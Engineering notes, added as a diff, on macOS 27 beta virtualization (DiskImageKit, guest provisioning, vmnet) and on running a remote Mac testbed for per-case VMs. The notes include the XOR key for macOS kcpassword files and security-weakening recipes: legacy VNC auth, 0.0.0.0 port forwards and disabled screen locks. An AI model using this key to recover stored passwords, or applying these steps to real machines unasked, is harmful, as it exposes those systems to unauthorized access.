+Confirmed hardware (2026-07-28): MacBook, M3, 16 GB RAM, 256 GB disk with ~100 GB free. Verdict: green. M3 = eligible + nested-virt capable; 16 GB = host + 2-3 concurrent Linux guests (macOS guest = one at a time); 100 GB = fits with discipline: install Xcode 27 beta with the macOS platform only (skipping iOS/watchOS/tvOS simulators saves 15-20 GB), and defer any macOS guest base (~30 GB) to an external SSD or until actually needed. Linux guests + sparse ASIF overlays are the comfortable path.
+
+### Pre-upgrade checklist (owner, physical, once)
+
+1. Full backup (Time Machine or clone); the machine should be considered beta-only afterwards.
+2. Tailscale: install, sign into the tailnet, confirm it appears in `tailscale status` from another node.
+3. System Settings -> General -> Sharing: **Remote Login ON** (SSH) and **Screen Sharing ON** (for the rare GUI-only moments: Xcode license, Apple Account dialogs).
+4. **FileVault stays ON** (owner decision 2026-07-28, security over convenience). Consequences: auto-login is unavailable, but FileVault's pre-boot unlock doubles as login, so an unlocked boot still lands in a live GUI session; planned remote reboots go through `sudo fdesetup authrestart` (unlocks for exactly one restart); an UNPLANNED reboot (beta kernel panic, battery drain) parks the machine at the pre-boot screen, no SSH/Tailscale, until the password is typed physically. If the testbed goes silent, suspect this first. Keep it on AC so the battery absorbs power blips.
+5. Beta enrollment (manual): sign into the Apple Account in System Settings; System Settings -> General -> Software Update -> **Beta Updates** -> select the **macOS 27 Developer Beta** (preferred: framework fixes land weeks earlier than public beta; free since 2023 after accepting the agreement once at developer.apple.com; public-beta alternative: enroll at beta.apple.com). Then run the offered upgrade: plugged in, lid open, trusted network.
+6. Send over: tailnet name/IP, username, and a first-login password (key install + lockdown happens remotely right after).
+
+### Post-upgrade setup (remote, over the tailnet)
+
+1. Verify: `sw_vers` reports 27.x, SSH reachable.
+2. Server-ize the laptop: `sudo pmset -a sleep 0 disksleep 0 disablesleep 1` (lid-closed operation without an external display), `womp 1` (wake on network), `sudo systemsetup -setrestartpowerfailure on`. Keep on AC power.
+3. Install the controlling host's SSH key, then disable password auth.
+4. Xcode 27 beta install (the one step needing the owner's Apple Account sign-in once, doable via Screen Sharing from anywhere); `xcode-select`, license accept, verify `swift --version` + the 27 SDK (`xcrun --show-sdk-version`).
+5. Phase 0 prototype loop, all remote from here: Linux guest base image (no 27-on-27 provisioning dependency), DiskImageKit overlay, boot, vmnet NAT, ssh into the guest, run `claude --version` inside.
+6. Only after that loop works: start Phase 1 in `packages/codeman-vm/`.
+
+## 9. Open decisions (owner)
+
+1. Linux base distro/image for the default guest (proposal: Ubuntu 24.04 arm64 cloud image, matching the docker agent image's userland).
+2. Helper distribution for GA: build-on-install vs prebuilt signed binary vs "bring your own Xcode".
+3. Ship dark behind `CODEMAN_VM_CASES=1` for the first release, or feature-detect only?
+4. Export format parity with docker-exports (one manifest schema for both?).

+| Component | What it is | Min host OS | Notes |
+| --- | --- | --- | --- |
+| Virtualization.framework core | VMs, EFI/Linux boot, virtio devices, VirtioFS | macOS 11-13 era | Unchanged basics; our prototype uses nothing newer than macOS 13 APIs except the DiskImageKit bridge |
+| **DiskImageKit** | ASIF + raw disk images, layered stacks | **macOS 27** | Swift-only, no ObjC headers. Section 2 |
+| **Guest provisioning** | First-boot account/SSH setup for macOS guests | **macOS 27 host AND guest** | Mac guests only as of beta 4. Section 3 |
+| vmnet topology/port-forward/DHCP APIs | Custom networks, port forwarding | **macOS 26** (NOT 27) | 27 adds exactly one fix: loopback port forwarding. Section 4 |
+| `VZVmnetNetworkDeviceAttachment` | In-process vmnet attach | macOS 26 | |
+| **`VZCustomVirtioDevice`** family | Custom paravirt devices | **macOS 27** | Linux guests only, custom guest driver required. Section 5 |
+| AccessoryAccess (USB passthrough) | USB claim + attach to VMs | macOS 27 | Requires paid-team provisioning profile, Dock app. Out of scope for Codeman. Section 6 |
+
+Corrections to the WWDC-session framing we started with: vmnet's topology family is a macOS 26 story (129 symbols, zero beta-flagged in 27); provisioning does NOT currently extend beyond macOS guests despite the generic-looking `VZGuestProvisioningOptions` base class; DiskImageKit has no attach/mount API at all (it is a file-format library that hands `DiskImage` objects to Virtualization, no `/dev/diskN`, no root needed, no entitlement documented).
+
+## 2. DiskImageKit (macOS 27, Swift-only)
+
+Public framework, `/System/Library/Frameworks/DiskImageKit.framework`. No ObjC headers; the API surface lives in the `.swiftinterface`. Verified present in the CLT 27 beta 4 SDK, and our prototype compiled against it with plain `swiftc` on the first attempt.
+
+### API surface (complete as of beta 4)
+
+```swift
+class DiskImage {
+  convenience init(creating: some DiskImage.CreationConfiguration) throws
+  convenience init(opening: some OpenConfigurationProtocol) throws
+  func appending(any DiskImage.CreationConfiguration & DiskImage.StackableLayer) throws -> any StackedImage
+  func appending(consuming DiskImage) throws -> any StackedImage   // reattach an existing layer; validates parentUUID
+  func truncate(blockCount: Int) throws                            // stacked: affects top layer; does NOT resize guest fs
+  var blockCount, blockSize, format, layerType, layerUUID, parentUUID, openMode, size, url
+}
+protocol StackedImage: DiskImage { var layers: [DiskImage] }
+struct OpenConfiguration { init(url:mode:); Mode = automatic | readOnly | readWrite }
+// CreationConfiguration statics: .asif(url:blockCount:blockSize:), .asifLayer(url:type:), .raw(url:blockCount:)
+// DiskImage.LayerType: .cache | .overlay | .overlay(blockCount:)
+// DiskImage.BlockSize: .bytes512 | .bytes4096
+// Errors: CorruptedImageError, IncompatibleStackingError(reason), InvalidBlockCountError, UnsupportedFormatError
+```
+
+Bridge into Virtualization is a new beta convenience init on the existing attachment class. Note there is no `readOnly:` parameter; read-only-ness comes from each layer's own `openMode`:
+
+```swift
+VZDiskImageStorageDeviceAttachment(diskImage: stack, cachingMode: .automatic, synchronizationMode: .full)
+```
+
+### Stacking rules (Apple docs, verbatim where quoted)
+
+- ASIF works standalone or stacked. "You can only use RAW images as standalone images or as **base** images in stacked configurations." Upper layers are always ASIF.
+- **One cache layer per stack**, any number of overlays conceptually, "shallow stacks perform better" (WWDC 224). No published max-depth guidance.
+- "Layers are processed from bottom (base) to top. The **topmost layer determines the stack's size and receives all writes**." `.overlay(blockCount:)` therefore also grows the virtual disk.
+- UUID chaining: appending sets the child's `parentUUID` to the parent's `layerUUID`. Raw bases have no UUID. "The layer UUID **changes if the layer is written to**", and reattaching a mismatched layer throws `IncompatibleStackingError`. This is the mechanism that makes a shared read-only base safe.
+- Base sharing across multiple VMs is the stated design intent ("can be shared across multiple VMs"), with the WWDC caveat that per-VM auxiliary files (EFI variable store, macOS auxiliary storage) must be duplicated per VM, never shared.
+- **There is no flatten/merge.** An overlay cannot be merged back into its base (confirmed by Howard Oakley's coverage plus an independent hands-on report). Export/move flows must ship the layer chain, or flatten inside a guest (dd to a fresh attached image).
+
+### Known issues and adoption
+
+- **ASIF space reclamation is broken for macOS guests on the beta** (deleted files never return space, survives reboots). Linux guests reclaim correctly on both raw and ASIF via `fstrim -av`. Single detailed field report, unrefuted. Since the VM subsystem targets macOS guests, the practical rule until this is fixed is: back macOS guest disks with RAW, and revisit ASIF stacking for macOS guests each beta (stacking still works, the disks just never shrink).
+- **Zero shipping adopters anywhere.** tart has a design issue with no activity; nobody has published working DiskImageKit code. Everything must be treated as field-untested (and our own testing bears that out, Section 8).
+- Framework binary grew every beta (588 → 598 across betas 1-4); expect churn until GA.
+- Release notes list no DiskImageKit known issues in any beta, which given the above says more about the notes than the framework.
+
+## 3. Guest provisioning (macOS guests only)
+
+```swift
+class VZGuestProvisioningOptions: NSObject { func validate() throws }   // "use one of its subclasses"
+class VZMacGuestProvisioningOptions: VZGuestProvisioningOptions {
+  var fullName, username, password: String
+  var logsInAutomatically: Bool
+  var enablesRemoteLogin: Bool   // SSH
+}
+// Wiring: VZMacOSVirtualMachineStartOptions.guestProvisioningOptions (Mac-typed)
+//         .setGuestProvisioning(_:) throws  (validating setter)
+```
+
+- **Requires macOS 27 on host AND guest.** Older guests **silently ignore** the options (no error).
+- **First boot after restore only.** Cannot reconfigure an already-provisioned VM; property changes after start are no-ops.
+- The base class is forward-looking scaffolding; its only subclass is Mac. A Linux/cloud-init analogue may come later; do not assume it lands in 27.0. For Linux guests, cloud-init NoCloud seed ISOs remain the provisioning path (proven working, Section 8).
+- Field-verified behavior (third-party hands-on, beta 3): provisioned account gets full admin + sudo; Setup Assistant fully skipped; SSH reachable ~48 s after first boot. **Race**: the account is created late in first boot (~T+54 s), after LaunchDaemons start (~T+33 s), so anything at daemon-level must wait for the account to exist.
+- Open Apple-acknowledged bug: provisioned users are invisible to `CSIdentityQueryExecute()` (FB23716201).
+- IPSW acquisition gotcha for automation: `VZMacOSRestoreImage.latestSupported` tracks the latest *release* (returned 26.5.2), not the installed beta; beta IPSWs must be fetched from the seed CDN explicitly.
+
+## 4. vmnet: a macOS 26 feature set, one macOS 27 fix
+
+Everything interesting shipped in macOS 26: `vmnet_network_create`, `vmnet_network_configuration_create`, `..._add_port_forwarding_rule`, `..._add_dhcp_reservation`, subnet/prefix/MTU/external-interface setters, NAT44/NAT66/DHCP/DNS-proxy/RA disables, plus serialization (`vmnet_network_copy_serialization` / `_create_with_serialization`) for handing networks across processes. `VZVmnetNetworkDeviceAttachment` is macOS 26.
+
+macOS 27's only change (beta 4 release notes, verbatim): "The vmnet port forwarding APIs now support port forwarding when communicating over loopback." That closes the old gap where the host could not reach its own forwarded ports via 127.0.0.1 (confirmed working by the original bug reporter). Directly relevant to Codeman's loopback-bound production server talking to per-case guests.
+
+Gotchas:
+- vmnet networks are **not persisted**; they die with the owning process. Persist settings yourself and recreate (or serialize across processes).
+- The `com.apple.vm.networking` entitlement is still restricted ("contact your Apple representative", though DTS says most requests are approved). The plain `VZNATNetworkDeviceAttachment` needs no special entitlement and is what our prototype uses.
+- Ecosystem signal: tart's maintainer is not adopting in-process vmnet (prefers their separate-process softnet), so field testing of these APIs is thin.
+
+## 5. VZCustomVirtioDevice (macOS 27, Linux guests only)
+
+14 new types (`VZCustomVirtioDevice(+Configuration/Delegate/Provider)`, `VZVirtioQueue(+Element)`, `VZVirtioFeatureSet`, shared-memory-region types, `VZGuestMemoryMapping`), wired via `VZVirtualMachineConfiguration.customVirtioDevices`. Mandatory for guest discovery: `deviceID`, `pciClassID`, `pciSubclassID`, `virtioQueueCount`. You must write the Linux guest driver (Virtio spec 1.3/1.4). Threading contract: the framework calls the device/delegate on a serial queue (`deviceQueue`, defaulting to the VM's queue). Zero public adopters. For the VM subsystem this is a Phase 3+ option for a low-latency host-guest channel; SSH over NAT is proven and sufficient for now.
+
+## 6. Signing and entitlements
+
+- **Core loop (VZ + DiskImageKit + provisioning): ad-hoc signing with only `com.apple.security.virtualization` suffices.** Verified by us on beta 4 (plain `codesign --entitlements ... -s -` on a `swiftc` binary) and independently by third parties on beta 3. DiskImageKit documents no entitlement at all.
+- **Over-entitling is the actual trap.** Adding `com.apple.application-identifier`/team-identifier keys without an embedded provisioning profile hangs the process before `main` (watchdog kill); shipping `com.apple.vm.networking` unauthorized gets AMFI SIGKILL at exec (exit 137, no crash report, even for `--version`). Keep the entitlements plist to exactly the one key.
+- **USB passthrough breaks the ad-hoc story**: `com.apple.developer.accessory-access.usb` is profile-restricted (any paid team, no ad-hoc), additionally requires `com.apple.security.device.usb`, and `AAUSBAccessoryManager` presents UI, so it wants a Dock app, not a headless CLI. Out of scope for Codeman.
+- No Xcode required for any of the above: the CLT beta (~500 MB via `softwareupdate`) carries the full macOS 27 SDK including DiskImageKit and compiles/signs everything.
+
+## 7. Ecosystem state (July 2026)
+
+- **tart is now `openai/tart`** (moved from cirruslabs, mid-2026) and **relicensed to FSL-1.1-ALv2** (no longer permissive). Provisioning support shipped in 2.33.0. Old cirruslabs URLs and license assumptions are stale.
+- VirtualBuddy shipped provisioning ("Skip Setup Assistant") in 2.2 betas; had to add account-detail validation and a workaround installer for the cross-version bug below.
+- lima is deliberately waiting for GA before touching macOS 27 APIs.
+- **Code-Hex/vz (Go bindings) is dormant** (no commits since Feb 2026, no macOS 27 APIs), so the entire Go ecosystem (podman-machine, colima) currently has no path to these APIs. Swift is the only realistic binding today, which validates the VM subsystem's Swift-helper design.
+- Useful pattern if ever supporting older SDKs: resolve new classes via `NSClassFromString` at runtime (no link-time dependency), fail gracefully when absent.
+- **Cross-version restore bug**: installing a macOS 27 guest from IPSW on a macOS 26 host fails at 77-78% (`VZErrorDomain 10007`); fixed in 26.6b3 + Xcode 27b4 era, with a nasty MobileDevice.pkg trap (installing it from Xcode 27 beta on a 26 host requires a full macOS reinstall to undo). Not relevant to our 27-host testbed, very relevant to anyone on a 26 host.
+
+## 8. Our empirical results (beta 4, 26A5388g, MacBook Air M3, 2026-07-29)
+
+Prototype tooling, all in `~/vm-lab/` on the testbed, compiled with CLT-only `swiftc` and ad-hoc signed with the single virtualization entitlement:
+
+| Tool | Purpose |
+| --- | --- |
+| `vzboot.swift` | Linux guest: EFI boot + virtio disk/net/entropy + NAT + optional cloud-init seed ISO + serial on stdio |
+| `vzstack.swift` | Same, but boots a DiskImageKit stack (read-only raw base + ASIF overlay) |
+| `vzmac.swift` | macOS guest: `install` (IPSW restore into a bundle) and `run` (boot, `--provision` for first-boot account/SSH) |
+| `vzmacgui.swift` | macOS guest in a real window via `VZVirtualMachineView` (required for the guest to render at all) |
+| `setup-seed.sh` | Builds a cloud-init NoCloud seed ISO with `hdiutil makehybrid` (volume label `cidata`) |
+| `vncproxy.py` | RFB proxy that advertises only security type 2, so version-skewed/browser clients can authenticate |
+| noVNC + `websockify` | Browser access; `websockify --web noVNC-<ver> 0.0.0.0:<port> 127.0.0.1:<proxy>` |
+| `vmwatchdog.sh` + `vmaccess.sh` | Supervision: root LaunchDaemon that restarts a blind/dead runner, re-points the forward, re-applies `pmset`, re-arms keep-awake; plus a keeper for the proxy/web endpoints |
+
+Host-side diagnostics written during this work (in the session scratchpad, not on the testbed): `vnclogin.py` (Apple DH auth + session open, distinguishes "credentials rejected" from "authorized but session refused"), `vncshot.py` (decodes the raw framebuffer to PNG and reports non-black pixel counts, plus optional synthetic wake input), `relay.py` (plain TCP relay used to bridge a tailnet peer to a LAN-only host), `sshpw.py` (pty-driven password SSH for the one-time key bootstrap into a freshly provisioned guest).
+
+### Proven working
+
+1. **Boot**: Debian 12 arm64 cloud images (nocloud and genericcloud variants) boot under `VZEFIBootLoader` + `VZGenericPlatformConfiguration`.
+2. **Networking**: `VZNATNetworkDeviceAttachment` gives the guest a `192.168.64.x` DHCP lease from the host's bootpd (leases visible in `/var/db/dhcpd_leases`, bridge is `bridge100`).
+3. **cloud-init provisioning**: NoCloud seed ISO (built with `hdiutil makehybrid -iso -joliet -default-volume-name cidata`) created a `codeman` user with SSH key + passwordless sudo on first boot; `ssh codeman@<lease-ip>` from the host works with key auth.
+4. **DiskImageKit stack mechanics**: opening a raw base `.readOnly`, appending an ASIF overlay (`ASIFCreationConfiguration.layer(url:type:.overlay)`), attaching via `init(diskImage:)`, and booting it. The overlay received ~44 MB of boot-time writes while the **base file's SHA-256 stayed bit-identical**, which is the write-isolation property the whole per-case design rests on.
+5. **Reattach**: reopening an existing overlay and `appending(consuming:)` onto the same base passes UUID validation.
+6. **macOS guest install (added later the same day)**: `VZMacOSInstaller` restore of the 27.0 IPSW (26A5388g, fetched from the seed CDN via appledb; same build as host) into a sparse 64 GiB raw disk + auxiliary storage: INSTALL-OK on the first attempt, ~25 minutes.
+7. **Headless guest provisioning WORKS**: `VZMacGuestProvisioningOptions` via `setGuestProvisioning` (username, password, `enablesRemoteLogin`, `logsInAutomatically=false`) produced, with zero GUI interaction: an account with full admin (groups include `80(admin)`, `com.apple.access_ssh`), Remote Login on from first boot, port 22 reachable ~140 s after first-boot start, hostname auto-derived from the account ("Codemans-Virtual-Machine"). SSH password auth is on by default, so the bootstrap path is: pty-driven password login once to install `authorized_keys`, key auth thereafter. Note the provisioned account's sudo is NOT passwordless (`echo <pass> | sudo -S ...`), and provisioning is first-boot-only (later boots take no options and just boot).
+8. **Slot-leak bug NOT reproduced on 26A5388g**: a guest-initiated `shutdown -h now` fired `guestDidStop` cleanly and an immediate relaunch started fine (SSH-ready again in ~75 s), so FB22967193 (VM slot leaked on guest-initiated shutdown, host reboot to recover) did not manifest after one cycle. Either fixed in beta 4 or needs more cycles to trigger.
+
+### Unstable / under investigation (beta-quality territory)
+
+Boot reliability degraded over a ~15-VM session on one host boot, ending with reproducible silent hangs (VM process alive, 0% CPU, no DHCP, no ARP, nothing on serial):
+
+- A genericcloud base that had been booted read-write once (cloud-init first boot) subsequently hung on every boot **with the seed ISO still attached**, while booting **without** the seed succeeded, then later runs failed in both configurations. The seed correlation is strong but was observed while host state was already suspect, so it needs a retest from a clean baseline.
+- The first stack-boot "success" that later wedged turned out (via DHCP lease timestamp arithmetic) never to have reached the network at all; its overlay growth was pre-network boot writes.
+- Working hypothesis, matching a class of acknowledged beta bugs (e.g. the VM-slot counter that leaks on guest-initiated shutdown, FB22967193, where only a host reboot recovers): accumulated hypervisor/vmnet state on the host degrades boots. Requires a host reboot + a disciplined retest matrix to confirm.
+
+### Display rendering: the single most important operational finding
+
+**A VZ macOS guest renders nothing unless a `VZVirtualMachineView` is attached AND the host session is actually drawing.** Verified byte-for-byte: the guest's own screen sharing serves an all-zero framebuffer (0 non-black bytes across 400 KB samples, with a sane pixel format: `rmax/gmax/bmax = 255`, shifts 16/8/0), in-guest `screencapture` fails with "could not create image from display", and no `IODisplayWrangler` shows up in the guest's `ioreg`. Three distinct states all produce black:
+
+1. **Headless** (VM run with no view attached).
+2. **View attached, host session locked.** The lock screen suspends drawing and the guest's virtual GPU produces no frames.
+3. **View attached, but the app lost its WindowServer connection** (see the incident below): black permanently until the app is restarted.
+
+**Consequence for the VM subsystem: rendering is a first-class requirement, not an optional extra (owner decision 2026-07-29).** The product serves GUI desktops: mandatory for macOS guests, optional-but-supported for Linux guests (which can also run headless over SSH). Any VM in GUI mode must be launched by an app that attaches a `VZVirtualMachineView`, from inside a host GUI session that is logged in and unlocked. That makes the following non-negotiable parts of the design, not workarounds:
+
+- VMs run as **GUI apps in the console user's session** (launched via a LaunchAgent or `launchctl asuser`), never as daemons.
+- The **host must auto-login and never lock or sleep**; a locked host is equivalent to a powered-off display for every VM on it.
+- The **guest must auto-login, never lock, and have its first-login assistant pre-suppressed**, or the "desktop" a user connects to is a password prompt or a setup wizard.
+- A VM app that loses its WindowServer connection is **permanently blind** and must be restarted; supervision has to detect that, not just check that the process is alive.
+- The **2-concurrent-macOS-VM cap** becomes a real capacity limit for the product, so it must be surfaced in the UI and tested (still untested worldwide as of this writing).
+
+### Incident 2026-07-29: `killall -HUP loginwindow` (never do this on a remote Mac)
+
+Applying a wallpaper change on the testbed with `killall -HUP loginwindow` restarted the host's login session. Three consequences:
+
+1. **The Mac dropped off the tailnet entirely.** Tailscale's App Store build is a GUI app living in the user session, so killing the session killed the VPN; remote access was gone until someone logged in. Recovery came from a second machine on the same LAN: it could still SSH in, and then relay ports back over the tailnet (a plain TCP relay on a tailnet-connected LAN peer is a good out-of-band path worth keeping ready).
+2. **The VM app lost its WindowServer connection** (`HIToolbox: received notification of WindowServer event port death`) while surviving as a process. Every later black screen traced to this, and nothing guest-side could fix it; only restarting the app restored rendering.
+3. The session's `caffeinate` died, so the host resumed auto-locking.
+
+Rule: on a remote Mac, never run session-level commands (`killall -HUP loginwindow`, `pkill -u <user>`, logout, fast user switching). `killall WallpaperAgent` alone is session-safe. Before any such command, enumerate what depends on that session: VPN, VM processes, port forwards, keep-awake helpers.
+
+### Keeping host and guest usable unattended
+
+- **Host**: `caffeinate -d -i -m -u` prevents display sleep but does NOT override the lock policy. "Require password after screen saver begins or display is turned off → Never" must be set in System Settings; it needs the account password, so a passwordless-sudo shell cannot script it, and turning it off does NOT dismiss a lock that is already engaged (one more unlock is always needed). `pmset -a disablesleep 1` keeps a lid-closed laptop awake but **does not survive a reboot**, and OS updates reset it too, so a supervisor should re-apply it rather than assume it sticks.
+- **Rebooting an encrypted host**: use `sudo fdesetup authrestart`. FileVault's pre-boot unlock doubles as the login, so the machine returns with a **live logged-in console session** and encryption intact, no password prompt, and supervision can then bring the VMs back by itself. Verified 2026-07-30. A plain `reboot` parks at the lock screen and blacks out every VM until a human logs in.
+- **Guest**: set `autoLoginUser` plus a valid `/etc/kcpassword` (XOR-obfuscated password file, key `7D 89 52 23 D2 BC DE A3`, payload zero-padded to a multiple of 12). `sysadminctl -autologin` fails with `SACSetAutoLoginPassword error:22` on provisioned accounts, and a fresh guest has no Python, so generate the bytes on the controlling host and copy them in. Then `pmset -a displaysleep 0 sleep 0 disablesleep 1`, `defaults -currentHost write com.apple.screensaver idleTime 0`, `defaults write com.apple.screensaver askForPassword 0`, and `caffeinate` inside the guest. ⚠ `autoLoginUser` was observed being wiped by failed `sysadminctl -autologin` attempts; verify it after each boot until stable.
+- **Wallpaper**: animated "aerials" wallpaper is brutal over VNC. The provider lives in `~/Library/Application Support/com.apple.wallpaper/Store/Index.plist` under several keys (`AllSpacesAndDisplays:Desktop`, `:Idle`, and `SystemDefault:*` which is what the login/lock screen uses). Switch each `Provider` to `com.apple.wallpaper.choice.solid-color` with PlistBuddy and restart `WallpaperAgent`. The login-window copy is cached and only refreshes on a later login cycle.
+
+### Remote GUI/SSH access to a guest (recipe, verified 2026-07-29)
+
+The guest lives on the host-private NAT bridge, so remote access is guest-service + host-forward:
+
+1. **In the macOS guest** (over ssh), use ONE mechanism, fully activated. The reliable form is Remote Management in a single kickstart call:
+   ```
+   sudo .../RemoteManagement/ARDAgent.app/Contents/Resources/kickstart \
+     -activate -configure -access -on \
+     -clientopts -setvnclegacy -vnclegacy yes -setvncpw -vncpw <8-char-pw> \
+     -allowAccessFor -allUsers -privs -all -restart -agent -menu
+   ```
+   ⚠ **Half-configured states authenticate but refuse the session.** Loading `com.apple.screensharing` while Remote Management is deactivated (or vice versa) produces an Apple-client error that names the wrong culprit: *"Screen Sharing is not permitted on <host>. Disable and re-enable Screen Sharing or Remote Management in System Settings"*. A raw-protocol client can still authenticate AND open a framebuffer in that state, so protocol-level tests pass while every Apple client fails. The remedy is exactly what the dialog says, done over ssh: `launchctl unload -w …screensharing.plist`, `kickstart -deactivate -configure -access -off`, `pkill screensharingd`, then the single activate call above.
+   Notes: `launchctl enable system/com.apple.screensharing` fails with "Could not find service" on this build; `load -w` is the plain-Screen-Sharing path if you deliberately want it instead of Remote Management. Apple clients negotiate `RSA-SRP` (auth type 33) and the guest logs `Authentication: SUCCEEDED :: User Name: … :: Type: RSA-SRP` on success, which is the definitive server-side confirmation.
+2. **On the host**: a gateway port-forward makes the guest's 5900 reachable from the whole tailnet without per-client tunnels: self-authorize the host's own key, then `ssh -N -g -L 0.0.0.0:5901:<guest-ip>:5900 <user>@localhost` (nohup'd).
+   ⚠⚠ **NEVER forward on host port 5900.** If the host has Screen Sharing enabled (our testbed does, from the pre-upgrade checklist), launchd already owns 5900 socket-activated. The `ssh -L` bind then fails with "Address already in use" **while the tunnel process keeps running**, so every symptom of success is present (process alive, port answers, real RFB banner) yet **every connection reaches the HOST's login window, not the guest**. This cost us an hour: guest credentials failed against the host's screensharingd, which reads exactly like broken guest auth, and we chased the (real, but irrelevant) provisioned-account identity bug. Diagnostics that would have caught it instantly: `sudo lsof -nP -iTCP:5900 -sTCP:LISTEN` showing `launchd` rather than `ssh`, or the guest's own logs showing NO auth attempts during a failed login. Always use a distinct host port and verify with `lsof` that the forward owns it.
+   ⚠ `-g` binds all interfaces, so the forward is also visible on the host's LAN; the VNC layer still requires the account or VNC password. ⚠ The forward pins the guest IP, which changes per boot under plain NAT; re-point it after a guest reboot (the proper fix is a vmnet DHCP reservation, macOS 26 API, once we move off plain `VZNATNetworkDeviceAttachment`).
+   Verified working: with the forward on 5901, both a provisioned account and a `sysadminctl`-created one authenticate successfully (RFB `SecurityResult` = 0) against the guest. The guest offers security types `[30, 33, 36, 2, 35]`, i.e. Apple DH/SRP **plus classic type 2**, so non-Apple VNC clients work with the legacy password once ARD's `-setvnclegacy` is set. (The host's screensharingd, by contrast, offered no type 2, which is itself a tell that you are talking to the wrong machine.)
+3. **SSH from any tailnet device**: `ssh -J <host-user>@<host> codeman@<guest-ip>` (jump through the host), after adding the connecting machine's key to the guest's `authorized_keys`.
+
+**Client-version incompatibility (macOS 27 servers vs older Screen Sharing clients)**: an older Mac's Screen Sharing client fails Apple's `RSA-SRP` handshake against macOS 27 servers, logging `Authentication: FAILED :: User Name: <user> :: Type: RSA-SRP` server-side, while a macOS 27 client authenticates against the same servers without issue. This was verified against BOTH a macOS 27 guest and a macOS 27 host with the operator's own account, so it is a client-side version skew, not configuration, and no server-side change fixes it. Same family as the documented "macOS 26 host cannot install a 27 guest" bug. Practical workaround: bypass Apple auth entirely with classic VNC auth (security type 2), which macOS offers only when Remote Management legacy VNC is enabled. Two ways to consume it: any third-party VNC client, or a browser via noVNC.
+
+**Browser-based access chain (zero client install, version-proof)**, all hosted on the Mac:
+```
+browser --HTTP/WS--> websockify (+ noVNC static files)
+                       --> type-2-only proxy   # rewrites the server's security-type list to [2]
+                         --> ssh -L forward     # loopback hop; see the Local Network note below
+                           --> guest:5900
+```
+Notes learned the hard way: (a) **never bind the forward on host port 5900** (see the launchd warning above); (b) a Python proxy cannot reach the guest subnet directly because macOS **Local Network privacy** denies headless CLI binaries, surfacing as `No route to host`, so point the proxy at a loopback `ssh -L` forward instead (Apple-signed `ssh` is unaffected); (c) noVNC needs `?resize=scale` or Scaling Mode → Local Scaling, otherwise a Retina host screen (2940x1912) is unusable in a browser window; (d) noVNC speaks security type 2 only, which is exactly why the proxy rewrite is needed.
+
+**Debugging technique that settled all of this**: a ~80-line Python RFB client (scratchpad `vnclogin.py`) that implements Apple DH auth (security type 30) and continues through `ClientInit`/`ServerInit`. It reports the server's `SecurityResult` plus the framebuffer size and desktop name, which separates "credentials rejected" from "authorized but session refused" without any GUI client. Pair it with `log stream --predicate 'process == "screensharingd"'` inside the guest, and drive a REAL Apple client headlessly from the host with `sudo launchctl asuser <uid> sudo -u <user> osascript -e 'tell application "Screen Sharing" to open location "vnc://user:pass@host:port"'`, verifying the result via `lsof -nP -iTCP -a -p <pid>` (an ESTABLISHED socket to the target) since `screencapture` fails on a lid-closed laptop ("could not create image from display"). Tailscale was never implicated: both the raw client and Apple's client work over the tailnet address once the guest service is fully activated.
+
+### Hard-won operational lessons (write these into any tooling)
+
+- **Silent serial is normal, not failure.** Debian's GRUB/kernel log to the graphics console; nothing attaches a getty to hvc0 by default. The reliable boot signal is the DHCP lease (or passive `tcpdump -i bridge100`), never the serial port and never a quick ping (BSD ping's first packet often dies to ARP latency; passive capture showed "dead" guests alive).
+- **DHCP lease entries carry truth**: `name=` shows the guest hostname, and the lease timestamps order events; stale entries linger, so compare timestamps before attributing a lease to a boot.
+- **Never boot a base image read-write.** Every RW boot mutates it (dhclient lease cache, journal, cloud-init state) and destroys experiment reproducibility, exactly why the production design only ever boots bases under overlays. Provision INTO the base once at base-build time, or provision per-case overlays with the seed, then detach the seed.
+- **A killed SSH client does not kill a remote `nohup`'d VM**, and the survivor holds the EFI variable store lock: "The EFI variable store is already in use" (`VZErrorDomain 50002`) means a zombie VM process, `pkill` it.
+- **EFI variable stores are per-VM state.** Fresh stores boot reliably; reuse across different VM instances is at minimum suspect on this beta (Apple's own guidance for cloned VMs is one store per VM). Cheap policy: one store per case, created with the overlay, deleted with it.
+- **Downloads from cloud.debian.org mirrors truncate silently**; always verify byte count against origin `Content-Length` and resume with `curl -C -`.
+- The remote host's default shell is zsh: `=` -prefixed words (`echo ===`) explode via zsh's `=cmd` expansion; keep separators zsh-safe in automation.
+
+### The 2-concurrent-macOS-VM cap: TESTED AND CONFIRMED on macOS 27 beta 4 (2026-07-29)
+
+We measured it, which as far as we can tell nobody had published for macOS 27. Method: `cp -c -R` the guest bundle (APFS clonefile, instant and **zero additional disk**), regenerate the machine identifier per clone (`VZMacMachineIdentifier()` written to `machine.id`; the hardware model is reused), then launch VMs until one is refused.
+
+Result: VM #1 (8 GB, GUI) and VM #2 (4 GB, headless) ran concurrently without complaint. VM #3 was refused **instantly** at `vm.start`:
+
+```
+VZErrorDomain Code=6 "The maximum supported number of active virtual machines has been reached."
+NSLocalizedFailure = "The number of virtual machines exceeds the limit."
+```
+
+**This is a licensing/kernel quota, not a resource limit**: the refusal came with **39% of system memory free** on a 16 GB host, and adding RAM or CPU cannot raise it. It matches the pre-27 behavior (`hv_apple_isa_vm_quota`), so nothing changed in 27 despite the framework's other additions. Linux guests are unaffected and are bounded only by host resources.
+
+Design consequences: macOS-guest capacity per host is **hard-capped at 2**, so a GUI-macOS-per-case product must schedule around it (queue, evict idle VMs, or scale across hosts) and surface it in the UI. Also relevant: the acknowledged slot-leak bug (a guest-initiated shutdown failing to release a slot, recoverable only by host reboot) is far more damaging under a cap of 2 than it sounds; we did not reproduce it on beta 4, but any scheduler should treat "slot appears used but nothing is running" as a real state.
+
+### Not yet tested
+- Cache layers (`LayerType.cache`), `.overlay(blockCount:)` disk growth, stack depth performance, VirtioFS + stack combination, `truncate`, ASIF disks for macOS guests (raw used so far; ASIF has the reclamation bug).
+- One more scripting lesson from this session: inner `ssh` calls inside a piped `sh -s` script MUST use `-n`, or they consume the remainder of the script from stdin and it silently never runs.
+
+### Session timeline (what was actually established, 2026-07-29)
+
+Linux path: base image download (with resume, mirrors truncate) → `vzboot` compiles against the beta SDK first try → EFI boot → NAT DHCP lease → cloud-init seed provisions a user with the host's SSH key → `ssh` into the guest works → DiskImageKit stack boots with an ASIF overlay taking all writes while the base stays SHA-identical. Later Linux boots became unreliable on an un-rebooted host (silent hangs, 0% CPU, no DHCP); a clean-baseline retest is still pending.
+
